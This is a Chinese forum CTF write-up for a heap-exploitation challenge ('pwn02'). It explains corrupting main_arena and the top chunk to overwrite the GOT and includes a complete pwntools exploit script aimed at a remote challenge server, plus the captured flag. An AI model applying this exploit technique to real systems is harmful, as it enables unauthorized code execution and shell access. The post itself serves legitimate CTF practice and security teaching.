本帖最后由 深_蓝 于 2019-6-5 11:25 编辑
pwn02.zip
(4.78 KB, 下载次数: 2)
main_arena里面的内容 pwndbg> x /20xg 0x7fed08ed9af0 0x7fed08ed9af0 <_IO_wide_data_0+304>: 0x00007fed08ed8260 0x0000000000000000 0x7fed08ed9b00 <__memalign_hook>: 0x00007fed08b9ae20 0x00007fed08b9aa00 0x7fed08ed9b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 这里是hook函数 0x7fed08ed9b20 <main_arena>:0x0000000000000000 0x0000000000000000 0x10,0x20 0x7fed08ed9b30 <main_arena+16>: 0x0000000000000000 0x0000000002181050 0x30,0x40 0x7fed08ed9b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x50,0x60 0x7fed08ed9b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x70,0x80 0x7fed08ed9b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000 unsortedbin, smallbins 0x7fed08ed9b70 <main_arena+80>: 0x0000000000000000 0x0000000000600dd0 largebins, topchunk 0x7fed08ed9b80 <main_arena+96>: 0x0000000000000000 0x00007fed08ed9b78
申请空间会从main_arena对应的地址处申请空间。
如申请0x40的chunk会从0x0000000002181050申请。如果申请0x50的chunk,因为对应位置处为0,所以从topchunk(0x0000000000600dd0)申请。
桥黑板:使用topchunk的好处是不必关心size的问题,直接申请。 利用过程:
1.通过堆溢出申请到任意的空间,free之后在next_chunk位置处写入size。
2.通过free把这个size写入到main_arena中
3.有了2写入的size可以申请到main_arena的地址空间,可以设置topchunk的指针,修改为got表的地址(这个地址在bss段,stdin,stdout,stderr前面)
4.然后从topchunk申请空间就能申请到这个地址(0x0000000000600dd0)的空间实现腹泻got表。
例题 pwn02 checksec pwn02 '/home/tower/1t/u18/\xe8\xae\xb2\xe8\xaf\xbe/\xe9\x83\x91\xe5\xb7\x9e\xe5\xb7\xa1\xe8\xae\xb2/pwn02/pwn02' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) 只开启了NX保护 int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int *v3; // rsi __int64 v4; // rdx int v5; // ebx char *ptr[10]; // [rsp+0h] [rbp-70h] int sz; // [rsp+54h] [rbp-1Ch] int idx; // [rsp+58h] [rbp-18h] int cmd; // [rsp+5Ch] [rbp-14h]
setvbuf(stdout, 0LL, 2, 0LL); v3 = 0LL; memset(ptr, 0, 0x50uLL); puts("1. malloc + gets\n2. free\n3. puts"); while ( 1 ) { while ( 1 ) { printf("> ", v3); v3 = &cmd; __isoc99_scanf("%d %d", &cmd, &idx); v4 = (unsigned int)(idx % 10); idx %= 10; if ( cmd != 1 ) break; v3 = &sz; __isoc99_scanf("%d%*c", &sz, v4); v5 = idx; ptr[v5] = (char *)malloc(sz); gets(ptr[idx]); } if ( cmd == 2 ) { free(ptr[idx]); } else { if ( cmd != 3 ) exit(0); puts(ptr[idx]); } } } 堆溢出,free函数没有检查还有double free,但是没有提供edit项。
0x01 leak
泄露main_arena地址(在smallbin被free的时候会在fd,bk里面写入main_arena和nextchunk的地址,也就是连接成双向链表)https://blog.csdn.net/qq_38204481/article/details/82318227 malloc_chunk(0,0x30,'aaaa') malloc_chunk(1,0x30,'bbbb') malloc_chunk(2,0x100,'AAAA') malloc_chunk(3,0x30,'/bin/sh\x00') free_chunk(2) puts_chunk(2) main_arena=u64(r.recvuntil("\n",drop=True).ljust(8,'\x00'))-88 success("main_arena ==> "+hex(main_arena)) 0x02在main_arena中设置合适的size free_chunk(1) free_chunk(0) payload='A'*0x30 payload+=p64(0x40)+p64(0x41) payload+=p64(0x60) malloc_chunk(4, 0x30,payload)
malloc_chunk(5,0x30,'A') malloc_chunk(6,0x50,'aaaa') malloc_chunk(7,0x50,'bbbb') free_chunk(7) free_chunk(6) payload='A'*0x50 payload+=p64(0x60)+p64(0x61) print hex(fake_chunk) payload+=p64(fake_chunk)
malloc_chunk(8,0x50,payload) malloc_chunk(9,0x50,'A') payload='\x00'*0x38 payload+=p64(0x000000000600DD8-8)#puts_got malloc_chunk(1,0x50,payload) 跟0x02一样的手法把上次设置的size作为这次的size。
然后把puts函数的got表地址写入到topchunk上 0x04复写got表 free_chunk(5) free_chunk(4)
malloc_chunk(0,0x30,'A'*0x30+p64(0x40)+p64(0x41)+p64(0)) #这里为了设置bins里面为0,保证从topchunk中申请 malloc_chunk(0,0x30,'A')
malloc_chunk(2,0x30,'\xb0\x06\x40\x00\x00\x00')#system_addr puts_chunk(3)
exp.py #!/usr/bin/python #coding=utf-8 from pwn import * r = process('./pwn02') r = remote("39.100.87.24",8102) context.terminal=["tmux","splitw","-h"] def debug(): gdb.attach(r,''' b *0x00000000040096F b *0x0000000004009AD b *0x00000000040098E ''') def malloc_chunk(idx,size,content): r.recvuntil('> ') r.sendline('1') r.sendline(str(idx)) r.sendline(str(size)) r.sendline(str(content))
def free_chunk(idx): r.recvuntil('> ') r.sendline('2') r.sendline(str(idx))
def puts_chunk(idx): r.recvuntil('> ') r.sendline('3') r.sendline(str(idx)) #return hex(u64(r.recvline('\n')[:-1].ljust(8,'\x00')))
##################leak malloc_chunk(0,0x30,'aaaa') malloc_chunk(1,0x30,'bbbb') malloc_chunk(2,0x100,'AAAA') malloc_chunk(3,0x30,'/bin/sh\x00') free_chunk(2) puts_chunk(2) main_arena=u64(r.recvuntil("\n",drop=True).ljust(8,'\x00'))-88 success("main_arena ==> "+hex(main_arena))
fake_chunk=main_arena+0x18-0x10+8 #top chunk free_chunk(1) free_chunk(0) payload='A'*0x30 payload+=p64(0x40)+p64(0x41) payload+=p64(0x60) malloc_chunk(4, 0x30,payload)
malloc_chunk(5,0x30,'A') malloc_chunk(0,0x100,'A') malloc_chunk(6,0x50,'aaaa') malloc_chunk(7,0x50,'bbbb') free_chunk(7) free_chunk(6) payload='A'*0x50 payload+=p64(0x60)+p64(0x61) print hex(fake_chunk) payload+=p64(fake_chunk)
malloc_chunk(8,0x50,payload) malloc_chunk(9,0x50,'A') payload='\x00'*0x38 payload+=p64(0x000000000600DD8-8)#puts_got malloc_chunk(1,0x50,payload) free_chunk(5) free_chunk(4)
malloc_chunk(0,0x30,'A'*0x30+p64(0x40)+p64(0x41)+p64(0)) malloc_chunk(0,0x30,'A')
malloc_chunk(2,0x30,'\xb0\x06\x40\x00\x00\x00')#system_addr puts_chunk(3) r.interactive()
flag{2c9c6bd8-c285-43b7-ac8a-f74eb9a7cb2f} |